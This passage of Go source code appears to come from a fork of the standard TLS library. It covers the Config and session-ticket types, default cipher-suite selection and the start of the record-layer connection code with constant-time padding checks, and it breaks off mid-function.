// ExportKeyingMaterial returns length bytes of exported key material in a new
// slice as defined in RFC 5705. If context is nil, it is not used as part of
// the seed. If the connection was set to allow renegotiation via
// Config.Renegotiation, this function will return an error.
func (cs *ConnectionState) ExportKeyingMaterial(label string, context []byte, length int) ([]byte, error) {
return cs.ekm(label, context, length)
}
// ClientSessionState contains the state needed by clients to resume TLS
// sessions.
type ClientSessionState struct {
sessionTicket []uint8 // Encrypted ticket used for session resumption with server
vers uint16 // TLS version negotiated for the session
cipherSuite uint16 // Ciphersuite negotiated for the session
masterSecret []byte // Full handshake MasterSecret, or TLS 1.3 resumption_master_secret
serverCertificates []*x509.Certificate // Certificate chain presented by the server
verifiedChains [][]*x509.Certificate // Certificate chains we built for verification
receivedAt time.Time // When the session ticket was received from the server
// TLS 1.3 fields.
nonce []byte // Ticket nonce sent by the server, to derive PSK
useBy time.Time // Expiration of the ticket lifetime as set by the server
ageAdd uint32 // Random obfuscation factor for sending the ticket age
}
// ClientSessionCache is a cache of ClientSessionState objects that can be used
// by a client to resume a TLS session with a given server. ClientSessionCache
// implementations should expect to be called concurrently from different
// goroutines. Up to TLS 1.2, only ticket-based resumption is supported, not
// SessionID-based resumption. In TLS 1.3 they were merged into PSK modes, which
// are supported via this interface.
type ClientSessionCache interface {
// Get searches for a ClientSessionState associated with the given key.
// On return, ok is true if one was found.
Get(sessionKey string) (session *ClientSessionState, ok bool)
// Put adds the ClientSessionState to the cache with the given key. It might
// get called multiple times in a connection if a TLS 1.3 server provides
// more than one session ticket. If called with a nil *ClientSessionState,
// it should remove the cache entry.
Put(sessionKey string, cs *ClientSessionState)
}
// SignatureScheme identifies a signature algorithm supported by TLS. See
// RFC 8446, Section 4.2.3.
type SignatureScheme uint16
const (
// RSASSA-PKCS1-v1_5 algorithms.
PKCS1WithSHA256 SignatureScheme = 0x0401
PKCS1WithSHA384 SignatureScheme = 0x0501
PKCS1WithSHA512 SignatureScheme = 0x0601
// RSASSA-PSS algorithms with public key OID rsaEncryption.
PSSWithSHA256 SignatureScheme = 0x0804
PSSWithSHA384 SignatureScheme = 0x0805
PSSWithSHA512 SignatureScheme = 0x0806
// ECDSA algorithms. Only constrained to a specific curve in TLS 1.3.
ECDSAWithP256AndSHA256 SignatureScheme = 0x0403
ECDSAWithP384AndSHA384 SignatureScheme = 0x0503
ECDSAWithP521AndSHA512 SignatureScheme = 0x0603
// EdDSA algorithms.
Ed25519 SignatureScheme = 0x0807
// Legacy signature and hash algorithms for TLS 1.2.
PKCS1WithSHA1 SignatureScheme = 0x0201
ECDSAWithSHA1 SignatureScheme = 0x0203
)
// ClientHelloInfo contains information from a ClientHello message in order to
// guide application logic in the GetCertificate and GetConfigForClient callbacks.
type ClientHelloInfo struct {
// CipherSuites lists the CipherSuites supported by the client (e.g.
// TLS_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256).
CipherSuites []uint16
// ServerName indicates the name of the server requested by the client
// in order to support virtual hosting. ServerName is only set if the
// client is using SNI (see RFC 4366, Section 3.1).
ServerName string
// SupportedCurves lists the elliptic curves supported by the client.
// SupportedCurves is set only if the Supported Elliptic Curves
// Extension is being used (see RFC 4492, Section 5.1.1).
SupportedCurves []CurveID
// SupportedPoints lists the point formats supported by the client.
// SupportedPoints is set only if the Supported Point Formats Extension
// is being used (see RFC 4492, Section 5.1.2).
SupportedPoints []uint8
// SignatureSchemes lists the signature and hash schemes that the client
// is willing to verify. SignatureSchemes is set only if the Signature
// Algorithms Extension is being used (see RFC 5246, Section 7.4.1.4.1).
SignatureSchemes []SignatureScheme
// SupportedProtos lists the application protocols supported by the client.
// SupportedProtos is set only if the Application-Layer Protocol
// Negotiation Extension is being used (see RFC 7301, Section 3.1).
//
// Servers can select a protocol by setting Config.NextProtos in a
// GetConfigForClient return value.
SupportedProtos []string
// SupportedVersions lists the TLS versions supported by the client.
// For TLS versions less than 1.3, this is extrapolated from the max
// version advertised by the client, so values other than the greatest
// might be rejected if used.
SupportedVersions []uint16
// Conn is the underlying net.Conn for the connection. Do not read
// from, or write to, this connection; that will cause the TLS
// connection to fail.
Conn net.Conn
// config is embedded by the GetCertificate or GetConfigForClient caller,
// for use with SupportsCertificate.
config *Config
}
// CertificateRequestInfo contains information from a server's
// CertificateRequest message, which is used to demand a certificate and proof
// of control from a client.
type CertificateRequestInfo struct {
// AcceptableCAs contains zero or more, DER-encoded, X.501
// Distinguished Names. These are the names of root or intermediate CAs
// that the server wishes the returned certificate to be signed by. An
// empty slice indicates that the server has no preference.
AcceptableCAs [][]byte
// SignatureSchemes lists the signature schemes that the server is
// willing to verify.
SignatureSchemes []SignatureScheme
// Version is the TLS version that was negotiated for this connection.
Version uint16
}
// RenegotiationSupport enumerates the different levels of support for TLS
// renegotiation. TLS renegotiation is the act of performing subsequent
// handshakes on a connection after the first. This significantly complicates
// the state machine and has been the source of numerous, subtle security
// issues. Initiating a renegotiation is not supported, but support for
// accepting renegotiation requests may be enabled.
//
// Even when enabled, the server may not change its identity between handshakes
// (i.e. the leaf certificate must be the same). Additionally, concurrent
// handshake and application data flow is not permitted so renegotiation can
// only be used with protocols that synchronise with the renegotiation, such as
// HTTPS.
//
// Renegotiation is not defined in TLS 1.3.
type RenegotiationSupport int
const (
// RenegotiateNever disables renegotiation.
RenegotiateNever RenegotiationSupport = iota
// RenegotiateOnceAsClient allows a remote server to request
// renegotiation once per connection.
RenegotiateOnceAsClient
// RenegotiateFreelyAsClient allows a remote server to repeatedly
// request renegotiation.
RenegotiateFreelyAsClient
)
// A Config structure is used to configure a TLS client or server.
// After one has been passed to a TLS function it must not be
// modified. A Config may be reused; the tls package will also not
// modify it.
type Config struct {
// Rand provides the source of entropy for nonces and RSA blinding.
// If Rand is nil, TLS uses the cryptographic random reader in package
// crypto/rand.
// The Reader must be safe for use by multiple goroutines.
Rand io.Reader
// Time returns the current time as the number of seconds since the epoch.
// If Time is nil, TLS uses time.Now.
Time func() time.Time
// Certificates contains one or more certificate chains to present to the
// other side of the connection. The first certificate compatible with the
// peer's requirements is selected automatically.
//
// Server configurations must set one of Certificates, GetCertificate or
// GetConfigForClient. Clients doing client-authentication may set either
// Certificates or GetClientCertificate.
//
// Note: if there are multiple Certificates, and they don't have the
// optional field Leaf set, certificate selection will incur a significant
// per-handshake performance cost.
Certificates []Certificate
// GetCertificate returns a Certificate based on the given
// ClientHelloInfo. It will only be called if the client supplies SNI
// information or if Certificates is empty.
//
// If GetCertificate is nil or returns nil, then the certificate is
// retrieved from NameToCertificate. If NameToCertificate is nil, the
// best element of Certificates will be used.
GetCertificate func(*ClientHelloInfo) (*Certificate, error)
// GetClientCertificate, if not nil, is called when a server requests a
// certificate from a client. If set, the contents of Certificates will
// be ignored.
//
// If GetClientCertificate returns an error, the handshake will be
// aborted and that error will be returned. Otherwise
// GetClientCertificate must return a non-nil Certificate. If
// Certificate.Certificate is empty then no certificate will be sent to
// the server. If this is unacceptable to the server then it may abort
// the handshake.
//
// GetClientCertificate may be called multiple times for the same
// connection if renegotiation occurs or if TLS 1.3 is in use.
GetClientCertificate func(*CertificateRequestInfo) (*Certificate, error)
// GetConfigForClient, if not nil, is called after a ClientHello is
// received from a client. It may return a non-nil Config in order to
// change the Config that will be used to handle this connection. If
// the returned Config is nil, the original Config will be used. The
// Config returned by this callback may not be subsequently modified.
//
// If GetConfigForClient is nil, the Config passed to Server() will be
// used for all connections.
//
// Uniquely for the fields in the returned Config, session ticket keys
// will be duplicated from the original Config if not set.
// Specifically, if SetSessionTicketKeys was called on the original
// config but not on the returned config then the ticket keys from the
// original config will be copied into the new config before use.
// Otherwise, if SessionTicketKey was set in the original config but
// not in the returned config then it will be copied into the returned
// config before use. If neither of those cases applies then the key
// material from the returned config will be used for session tickets.
GetConfigForClient func(*ClientHelloInfo) (*Config, error)
// RootCAs defines the set of root certificate authorities
// that clients use when verifying server certificates.
// If RootCAs is nil, TLS uses the host's root CA set.
RootCAs *x509.CertPool
// NextProtos is a list of supported application level protocols, in
// order of preference.
NextProtos []string
// ServerName is used to verify the hostname on the returned
// certificates unless InsecureSkipVerify is given. It is also included
// in the client's handshake to support virtual hosting unless it is
// an IP address.
ServerName string
// ClientCAs defines the set of root certificate authorities
// that servers use if required to verify a client certificate
// by the policy in ClientAuth.
ClientCAs *x509.CertPool
// InsecureSkipVerify controls whether a client verifies the
// server's certificate chain and host name.
// If InsecureSkipVerify is true, TLS accepts any certificate
// presented by the server and any host name in that certificate.
// In this mode, TLS is susceptible to man-in-the-middle attacks.
// This should be used only for testing.
InsecureSkipVerify bool
// CipherSuites is a list of supported cipher suites for TLS versions up to
// TLS 1.2. If CipherSuites is nil, a default list of secure cipher suites
// is used, with a preference order based on hardware performance. The
// default cipher suites might change over Go versions. Note that TLS 1.3
// ciphersuites are not configurable.
CipherSuites []uint16
// PreferServerCipherSuites controls whether the server selects the
// client's most preferred ciphersuite, or the server's most preferred
// ciphersuite. If true then the server's preference, as expressed in
// the order of elements in CipherSuites, is used.
PreferServerCipherSuites bool
// SessionTicketsDisabled may be set to true to disable session ticket and
// PSK (resumption) support. Note that on clients, session ticket support is
// also disabled if ClientSessionCache is nil.
SessionTicketsDisabled bool
// SessionTicketKey is used by TLS servers to provide session resumption.
// See RFC 5077 and the PSK mode of RFC 8446. If zero, it will be filled
// with random data before the first server handshake.
//
// If multiple servers are terminating connections for the same host
// they should all have the same SessionTicketKey. If the
// SessionTicketKey leaks, previously recorded and future TLS
// connections using that key might be compromised.
SessionTicketKey [32]byte
// ClientSessionCache is a cache of ClientSessionState entries for TLS
// session resumption. It is only used by clients.
ClientSessionCache ClientSessionCache
// MinVersion contains the minimum TLS version that is acceptable.
// If zero, TLS 1.0 is currently taken as the minimum.
MinVersion uint16
// MaxVersion contains the maximum TLS version that is acceptable.
// If zero, the maximum version supported by this package is used,
// which is currently TLS 1.3.
MaxVersion uint16
// CurvePreferences contains the elliptic curves that will be used in
// an ECDHE handshake, in preference order. If empty, the default will
// be used. The client will use the first preference as the type for
// its key share in TLS 1.3. This may change in the future.
CurvePreferences []CurveID
// DynamicRecordSizingDisabled disables adaptive sizing of TLS records.
// When true, the largest possible TLS record size is always used. When
// false, the size of TLS records may be adjusted in an attempt to
// improve latency.
DynamicRecordSizingDisabled bool
// Renegotiation controls what types of renegotiation are supported.
// The default, none, is correct for the vast majority of applications.
Renegotiation RenegotiationSupport
// KeyLogWriter optionally specifies a destination for TLS master secrets
// in NSS key log format that can be used to allow external programs
// such as Wireshark to decrypt TLS connections.
// See https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/Key_Log_Format.
// Use of KeyLogWriter compromises security and should only be
// used for debugging.
KeyLogWriter io.Writer
serverInitOnce sync.Once // guards calling (*Config).serverInit
// mutex protects sessionTicketKeys.
mutex sync.RWMutex
// sessionTicketKeys contains zero or more ticket keys. If the length
// is zero, SessionTicketsDisabled must be true. The first key is used
// for new tickets and any subsequent keys can be used to decrypt old
// tickets.
sessionTicketKeys []ticketKey
}
// ticketKeyNameLen is the number of bytes of identifier that is prepended to
// an encrypted session ticket in order to identify the key used to encrypt it.
const ticketKeyNameLen = 16
// ticketKey is the internal representation of a session ticket key.
type ticketKey struct {
// keyName is an opaque byte string that serves to identify the session
// ticket key. It's exposed as plaintext in every session ticket.
keyName [ticketKeyNameLen]byte
aesKey [16]byte
hmacKey [16]byte
}
// ticketKeyFromBytes converts from the external representation of a session
// ticket key to a ticketKey. Externally, session ticket keys are 32 random
// bytes and this function expands that into sufficient name and key material.
func ticketKeyFromBytes(b [32]byte) (key ticketKey) {
hashed := sha512.Sum512(b[:])
copy(key.keyName[:], hashed[:ticketKeyNameLen])
copy(key.aesKey[:], hashed[ticketKeyNameLen:ticketKeyNameLen+16])
copy(key.hmacKey[:], hashed[ticketKeyNameLen+16:ticketKeyNameLen+32])
return key
}
// Clone returns a shallow clone of c. It is safe to clone a Config that is
// being used concurrently by a TLS client or server.
func (c *Config) Clone() *Config {
// Running serverInit ensures that it's safe to read
// SessionTicketsDisabled.
c.serverInitOnce.Do(func() { c.serverInit(nil) })
var sessionTicketKeys []ticketKey
c.mutex.RLock()
sessionTicketKeys = c.sessionTicketKeys
c.mutex.RUnlock()
return &Config{
Rand: c.Rand,
Time: c.Time,
Certificates: c.Certificates,
GetCertificate: c.GetCertificate,
GetClientCertificate: c.GetClientCertificate,
GetConfigForClient: c.GetConfigForClient,
RootCAs: c.RootCAs,
NextProtos: c.NextProtos,
ServerName: c.ServerName,
ClientCAs: c.ClientCAs,
InsecureSkipVerify: c.InsecureSkipVerify,
CipherSuites: c.CipherSuites,
PreferServerCipherSuites: c.PreferServerCipherSuites,
SessionTicketsDisabled: c.SessionTicketsDisabled,
SessionTicketKey: c.SessionTicketKey,
ClientSessionCache: c.ClientSessionCache,
MinVersion: c.MinVersion,
MaxVersion: c.MaxVersion,
CurvePreferences: c.CurvePreferences,
DynamicRecordSizingDisabled: c.DynamicRecordSizingDisabled,
Renegotiation: c.Renegotiation,
KeyLogWriter: c.KeyLogWriter,
sessionTicketKeys: sessionTicketKeys,
}
}
// serverInit is run under c.serverInitOnce to do initialization of c. If c was
// returned by a GetConfigForClient callback then the argument should be the
// Config that was passed to Server, otherwise it should be nil.
func (c *Config) serverInit(originalConfig *Config) {
if c.SessionTicketsDisabled || len(c.ticketKeys()) != 0 {
return
}
alreadySet := false
for _, b := range c.SessionTicketKey {
if b != 0 {
alreadySet = true
break
}
}
if !alreadySet {
if originalConfig != nil {
copy(c.SessionTicketKey[:], originalConfig.SessionTicketKey[:])
} else if _, err := io.ReadFull(c.rand(), c.SessionTicketKey[:]); err != nil {
c.SessionTicketsDisabled = true
return
}
}
if originalConfig != nil {
originalConfig.mutex.RLock()
c.sessionTicketKeys = originalConfig.sessionTicketKeys
originalConfig.mutex.RUnlock()
} else {
c.sessionTicketKeys = []ticketKey{ticketKeyFromBytes(c.SessionTicketKey)}
}
}
func (c *Config) ticketKeys() []ticketKey {
c.mutex.RLock()
// c.sessionTicketKeys is constant once created. SetSessionTicketKeys
// will only update it by replacing it with a new value.
ret := c.sessionTicketKeys
c.mutex.RUnlock()
return ret
}
// SetSessionTicketKeys updates the session ticket keys for a server. The first
// key will be used when creating new tickets, while all keys can be used for
// decrypting tickets. It is safe to call this function while the server is
// running in order to rotate the session ticket keys. The function will panic
// if keys is empty.
func (c *Config) SetSessionTicketKeys(keys [][32]byte) {
if len(keys) == 0 {
panic("tls: keys must have at least one key")
}
newKeys := make([]ticketKey, len(keys))
for i, bytes := range keys {
newKeys[i] = ticketKeyFromBytes(bytes)
}
c.mutex.Lock()
c.sessionTicketKeys = newKeys
c.mutex.Unlock()
}
func (c *Config) rand() io.Reader {
r := c.Rand
if r == nil {
return rand.Reader
}
return r
}
func (c *Config) time() time.Time {
t := c.Time
if t == nil {
t = time.Now
}
return t()
}
func (c *Config) cipherSuites() []uint16 {
s := c.CipherSuites
if s == nil {
s = defaultCipherSuites()
}
return s
}
var supportedVersions = []uint16{
VersionTLS12,
VersionTLS11,
VersionTLS10,
}
func (c *Config) supportedVersions() []uint16 {
versions := make([]uint16, 0, len(supportedVersions))
for _, v := range supportedVersions {
if c != nil && c.MinVersion != 0 && v < c.MinVersion {
continue
}
if c != nil && c.MaxVersion != 0 && v > c.MaxVersion {
continue
}
versions = append(versions, v)
}
return versions
}
func (c *Config) maxSupportedVersion() uint16 {
supportedVersions := c.supportedVersions()
if len(supportedVersions) == 0 {
return 0
}
return supportedVersions[0]
}
var defaultCurvePreferences = []CurveID{X25519, CurveP256, CurveP384, CurveP521}
func (c *Config) curvePreferences() []CurveID {
if c == nil || len(c.CurvePreferences) == 0 {
return defaultCurvePreferences
}
return c.CurvePreferences
}
func (c *Config) supportsCurve(curve CurveID) bool {
for _, cc := range c.curvePreferences() {
if cc == curve {
return true
}
}
return false
}
// mutualVersion returns the protocol version to use given the advertised
// versions of the peer. Priority is given to the peer preference order.
func (c *Config) mutualVersion(peerVersions []uint16) (uint16, bool) {
supportedVersions := c.supportedVersions()
for _, peerVersion := range peerVersions {
for _, v := range supportedVersions {
if v == peerVersion {
return v, true
}
}
}
return 0, false
}
// SupportsCertificate returns nil if the provided certificate is supported by
// the server that sent the CertificateRequest. Otherwise, it returns an error
// describing the reason for the incompatibility.
func (cri *CertificateRequestInfo) SupportsCertificate(c *Certificate) error {
if _, err := selectSignatureScheme(cri.Version, c, cri.SignatureSchemes); err != nil {
return err
}
if len(cri.AcceptableCAs) == 0 {
return nil
}
for j, cert := range c.Certificate {
x509Cert := c.Leaf
// Parse the certificate if this isn't the leaf node, or if
// chain.Leaf was nil.
if j != 0 || x509Cert == nil {
var err error
if x509Cert, err = x509.ParseCertificate(cert); err != nil {
return fmt.Errorf("failed to parse certificate #%d in the chain: %w", j, err)
}
}
for _, ca := range cri.AcceptableCAs {
if bytes.Equal(x509Cert.RawIssuer, ca) {
return nil
}
}
}
return errors.New("chain is not signed by an acceptable CA")
}
const (
keyLogLabelTLS12 = "CLIENT_RANDOM"
)
func (c *Config) writeKeyLog(label string, clientRandom, secret []byte) error {
if c.KeyLogWriter == nil {
return nil
}
logLine := []byte(fmt.Sprintf("%s %x %x\n", label, clientRandom, secret))
writerMutex.Lock()
_, err := c.KeyLogWriter.Write(logLine)
writerMutex.Unlock()
return err
}
// writerMutex protects all KeyLogWriters globally. It is rarely enabled,
// and is only for debugging, so a global mutex saves space.
var writerMutex sync.Mutex
// A Certificate is a chain of one or more certificates, leaf first.
type Certificate struct {
Certificate [][]byte
// PrivateKey contains the private key corresponding to the public key in
// Leaf. This must implement crypto.Signer with an RSA, ECDSA or Ed25519 PublicKey.
// For a server up to TLS 1.2, it can also implement crypto.Decrypter with
// an RSA PublicKey.
PrivateKey crypto.PrivateKey
// SupportedSignatureAlgorithms is an optional list restricting what
// signature algorithms the PrivateKey can be used for.
SupportedSignatureAlgorithms []SignatureScheme
// OCSPStaple contains an optional OCSP response which will be served
// to clients that request it.
OCSPStaple []byte
// SignedCertificateTimestamps contains an optional list of Signed
// Certificate Timestamps which will be served to clients that request it.
SignedCertificateTimestamps [][]byte
// Leaf is the parsed form of the leaf certificate, which may be initialized
// using x509.ParseCertificate to reduce per-handshake processing. If nil,
// the leaf certificate will be parsed as needed.
Leaf *x509.Certificate
}
// leaf returns the parsed leaf certificate, either from c.Leaf or by parsing
// the corresponding c.Certificate[0].
func (c *Certificate) leaf() (*x509.Certificate, error) {
if c.Leaf != nil {
return c.Leaf, nil
}
return x509.ParseCertificate(c.Certificate[0])
}
type handshakeMessage interface {
marshal() []byte
unmarshal([]byte) bool
}
// TODO(jsing): Make these available to both crypto/x509 and crypto/tls.
type dsaSignature struct {
R, S *big.Int
}
type ecdsaSignature dsaSignature
var emptyConfig Config
func defaultConfig() *Config {
return &emptyConfig
}
var (
once sync.Once
varDefaultCipherSuites []uint16
)
func defaultCipherSuites() []uint16 {
once.Do(initDefaultCipherSuites)
return varDefaultCipherSuites
}
func initDefaultCipherSuites() {
var topCipherSuites []uint16
topCipherSuites = []uint16{
TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305,
TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305,
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,
}
varDefaultCipherSuites = make([]uint16, 0, len(cipherSuites))
varDefaultCipherSuites = append(varDefaultCipherSuites, topCipherSuites...)
NextCipherSuite:
for _, suite := range cipherSuites {
if suite.flags&suiteDefaultOff != 0 {
continue
}
for _, existing := range varDefaultCipherSuites {
if existing == suite.id {
continue NextCipherSuite
}
}
varDefaultCipherSuites = append(varDefaultCipherSuites, suite.id)
}
}
func unexpectedMessageError(wanted, got interface{}) error {
return fmt.Errorf("tls: received unexpected handshake message of type %T when waiting for %T", got, wanted)
}
func isSupportedSignatureAlgorithm(sigAlg SignatureScheme, supportedSignatureAlgorithms []SignatureScheme) bool {
for _, s := range supportedSignatureAlgorithms {
if s == sigAlg {
return true
}
}
return false
}
================================================
FILE: tls/conn.go
================================================
// Copyright 2010 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// TLS low level connection and record layer
package tls
import (
"bytes"
"crypto/cipher"
"crypto/subtle"
"crypto/x509"
"errors"
"fmt"
"io"
"net"
"sync"
"sync/atomic"
"time"
)
// A Conn represents a secured connection.
// It implements the net.Conn interface.
type Conn struct {
// constant
conn net.Conn
// handshakeStatus is 1 if the connection is currently transferring
// application data (i.e. is not currently processing a handshake).
// This field is only to be accessed with sync/atomic.
handshakeStatus uint32
// constant after handshake; protected by handshakeMutex
handshakeMutex sync.Mutex
handshakeErr error // error resulting from handshake
vers uint16 // TLS version
haveVers bool // version has been negotiated
config *Config // configuration passed to constructor
// handshakes counts the number of handshakes performed on the
// connection so far. If renegotiation is disabled then this is either
// zero or one.
handshakes int
didResume bool // whether this connection was a session resumption
cipherSuite uint16
ocspResponse []byte // stapled OCSP response
scts [][]byte // signed certificate timestamps from server
peerCertificates []*x509.Certificate
// verifiedChains contains the certificate chains that we built, as
// opposed to the ones presented by the server.
verifiedChains [][]*x509.Certificate
// serverName contains the server name indicated by the client, if any.
serverName string
// secureRenegotiation is true if the server echoed the secure
// renegotiation extension. (This is meaningless as a server because
// renegotiation is not supported in that case.)
secureRenegotiation bool
// ekm is a closure for exporting keying material.
ekm func(label string, context []byte, length int) ([]byte, error)
// resumptionSecret is the resumption_master_secret for handling
// NewSessionTicket messages. nil if config.SessionTicketsDisabled.
resumptionSecret []byte
// clientFinishedIsFirst is true if the client sent the first Finished
// message during the most recent handshake. This is recorded because
// the first transmitted Finished message is the tls-unique
// channel-binding value.
clientFinishedIsFirst bool
// closeNotifyErr is any error from sending the alertCloseNotify record.
closeNotifyErr error
// closeNotifySent is true if the Conn attempted to send an
// alertCloseNotify record.
closeNotifySent bool
// clientFinished and serverFinished contain the Finished message sent
// by the client or server in the most recent handshake. This is
// retained to support the renegotiation extension and tls-unique
// channel-binding.
clientFinished [12]byte
serverFinished [12]byte
clientProtocol string
clientProtocolFallback bool
// input/output
in, out halfConn
rawInput bytes.Buffer // raw input, starting with a record header
input bytes.Reader // application data waiting to be read, from rawInput.Next
hand bytes.Buffer // handshake data waiting to be read
outBuf []byte // scratch buffer used by out.encrypt
buffering bool // whether records are buffered in sendBuf
sendBuf []byte // a buffer of records waiting to be sent
// bytesSent counts the bytes of application data sent.
// packetsSent counts packets.
bytesSent int64
packetsSent int64
// retryCount counts the number of consecutive non-advancing records
// received by Conn.readRecord. That is, records that neither advance the
// handshake, nor deliver application data. Protected by in.Mutex.
retryCount int
// activeCall is an atomic int32; the low bit is whether Close has
// been called. the rest of the bits are the number of goroutines
// in Conn.Write.
activeCall int32
tmp [16]byte
}
// Access to net.Conn methods.
// Cannot just embed net.Conn because that would
// export the struct field too.
// LocalAddr returns the local network address.
func (c *Conn) LocalAddr() net.Addr {
return c.conn.LocalAddr()
}
// RemoteAddr returns the remote network address.
func (c *Conn) RemoteAddr() net.Addr {
return c.conn.RemoteAddr()
}
// SetDeadline sets the read and write deadlines associated with the connection.
// A zero value for t means Read and Write will not time out.
// After a Write has timed out, the TLS state is corrupt and all future writes will return the same error.
func (c *Conn) SetDeadline(t time.Time) error {
return c.conn.SetDeadline(t)
}
// SetReadDeadline sets the read deadline on the underlying connection.
// A zero value for t means Read will not time out.
func (c *Conn) SetReadDeadline(t time.Time) error {
return c.conn.SetReadDeadline(t)
}
// SetWriteDeadline sets the write deadline on the underlying connection.
// A zero value for t means Write will not time out.
// After a Write has timed out, the TLS state is corrupt and all future writes will return the same error.
func (c *Conn) SetWriteDeadline(t time.Time) error {
return c.conn.SetWriteDeadline(t)
}
// A halfConn represents one direction of the record layer
// connection, either sending or receiving.
type halfConn struct {
sync.Mutex
err error // first permanent error
version uint16 // protocol version
cipher interface{} // cipher algorithm
mac macFunction
seq [8]byte // 64-bit sequence number
additionalData [13]byte // to avoid allocs; interface method args escape
nextCipher interface{} // next encryption state
nextMac macFunction // next MAC algorithm
trafficSecret []byte // current TLS 1.3 traffic secret
}
func (hc *halfConn) setErrorLocked(err error) error {
hc.err = err
return err
}
// prepareCipherSpec sets the encryption and MAC states
// that a subsequent changeCipherSpec will use.
func (hc *halfConn) prepareCipherSpec(version uint16, cipher interface{}, mac macFunction) {
hc.version = version
hc.nextCipher = cipher
hc.nextMac = mac
}
// changeCipherSpec changes the encryption and MAC states
// to the ones previously passed to prepareCipherSpec.
func (hc *halfConn) changeCipherSpec() error {
if hc.nextCipher == nil {
return alertInternalError
}
hc.cipher = hc.nextCipher
hc.mac = hc.nextMac
hc.nextCipher = nil
hc.nextMac = nil
for i := range hc.seq {
hc.seq[i] = 0
}
return nil
}
// incSeq increments the sequence number.
func (hc *halfConn) incSeq() {
for i := 7; i >= 0; i-- {
hc.seq[i]++
if hc.seq[i] != 0 {
return
}
}
// Not allowed to let sequence number wrap.
// Instead, must renegotiate before it does.
// Not likely enough to bother.
panic("TLS: sequence number wraparound")
}
// explicitNonceLen returns the number of bytes of explicit nonce or IV included
// in each record. Explicit nonces are present only in CBC modes after TLS 1.0
// and in certain AEAD modes in TLS 1.2.
func (hc *halfConn) explicitNonceLen() int {
if hc.cipher == nil {
return 0
}
switch c := hc.cipher.(type) {
case cipher.Stream:
return 0
case aead:
return c.explicitNonceLen()
case cbcMode:
// TLS 1.1 introduced a per-record explicit IV to fix the BEAST attack.
if hc.version >= VersionTLS11 {
return c.BlockSize()
}
return 0
default:
panic("unknown cipher type")
}
}
// extractPadding returns, in constant time, the length of the padding to remove
// from the end of payload. It also returns a byte which is equal to 255 if the
// padding was valid and 0 otherwise. See RFC 2246, Section 6.2.3.2.
func extractPadding(payload []byte) (toRemove int, good byte) {
if len(payload) < 1 {
return 0, 0
}
paddingLen := payload[len(payload)-1]
t := uint(len(payload)-1) - uint(paddingLen)
// if len(payload) >= (paddingLen - 1) then the MSB of t is zero
good = byte(int32(^t) >> 31)
// The maximum possible padding length plus the actual length field
toCheck := 256
// The length of the padded data is public, so we can use an if here
if toCheck > len(payload) {
toCheck = len(payload)
}
for i := 0; i < toCheck; i++ {
t := uint(paddingLen) - uint(i)
// if i <= paddingLen then the MSB of t is zero
mask := byte(int32(^t) >> 31)
b := payload[len(payload)-1-i]
good &^= mask&paddingLen ^ mask&b
}
// We AND together the bits of good and replicate the result across
// all the bits.
good &= good << 4
good &= good << 2
good &= good << 1
good = uint8(int8(good) >> 7)
// Zero the padding length on error. This ensures any unchecked bytes
// are included in the MAC. Otherwise, an attacker that could
// distinguish MAC failures from padding failures could mount an attack
// similar to POODLE in SSL 3.0: given a good ciphertext that uses a
// full block's worth of padding, replace the final block with another
// block. If the MAC check passed but the padding check failed, the
// last byte of that block decrypted to the block size.
//
// See also macAndPaddingGood logic below.
paddingLen &= good
toRemove = int(paddingLen) + 1
return
}
func roundUp(a, b int) int {
return a + (b-a%b)%b
}
// cbcMode is an interface for block ciphers using cipher block chaining.
type cbcMode interface {
cipher.BlockMode
SetIV([]byte)
}
// decrypt authenticates and decrypts the record if protection is active at
// this stage. The returned plaintext might overlap with the input.
func (hc *halfConn) decrypt(record []byte) ([]byte, recordType, error) {
var plaintext []byte
typ := recordType(record[0])
payload := record[recordHeaderLen:]
paddingGood := byte(255)
paddingLen := 0
explicitNonceLen := hc.explicitNonceLen()
if hc.cipher != nil {
switch c := hc.cipher.(type) {
case cipher.Stream:
c.XORKeyStream(payload, payload)
case aead:
if len(payload) < explicitNonceLen {
return nil, 0, alertBadRecordMAC
}
nonce := payload[:explicitNonceLen]
if len(nonce) == 0 {
nonce = hc.seq[:]
}
payload = payload[explicitNonceLen:]
additionalData := hc.additionalData[:]
copy(additionalData, hc.seq[:])
copy(additionalData[8:], record[:3])
n := len(payload) - c.Overhead()
additionalData[11] = byte(n >> 8)
additionalData[12] = byte(n)
var err error
plaintext, err = c.Open(payload[:0], nonce, payload, additionalData)
if err != nil {
return nil, 0, alertBadRecordMAC
}
case cbcMode:
blockSize := c.BlockSize()
minPayload := explicitNonceLen + roundUp(hc.mac.Size()+1, blockSize)
if len(payload)%blockSize != 0 || len(payload) < minPayload {
return nil, 0, alertBadRecordMAC
}
if explicitNonceLen > 0 {
c.SetIV(payload[:explicitNonceLen])
payload = payload[explicitNonceLen:]
}
c.CryptBlocks(payload, payload)
// In a limited attempt to protect against CBC padding oracles like
// Lucky13, the data past paddingLen (which is secret) is passed to
// the MAC function as extra data, to be fed into the HMAC after
// computing the digest. This makes the MAC roughly constant time as
// long as the digest computation is constant time and does not
// affect the subsequent write, modulo cache effects.
paddingLen, paddingGood = extractPadding(payload)
default:
panic("unknown cipher type")
}
} else {
plaintext = payload
}
if hc.mac != nil {
macSize := hc.mac.Size()
if len(payload) < macSize {
return nil, 0, alertBadRecordMAC
}
n := len(payload) - macSize - paddingLen
n = subtle.ConstantTimeSelect(int(uint32(n)>>31), 0, n) // if n < 0 { n = 0 }
record[3] = byte(n >> 8)
record[4] = byte(n)
remoteMAC := payload[n : n+macSize]
localMAC := hc.mac.MAC(hc.seq[0:], record[:recordHeaderLen], payload[:n], payload[n+macSize:])
// This is equivalent to checking the MACs and paddingGood
// separately, but in constant-time to prevent distinguishing
// padding failures from MAC failures. Depending on what value
// of paddingLen was returned on bad padding, distinguishing
// bad MAC from bad padding can lead to an attack.
//
// See also the logic at the end of extractPadding.
macAndPaddingGood := subtle.ConstantTimeCompare(localMAC, remoteMAC) & int(paddingGood)
if macAndPaddingGood != 1 {
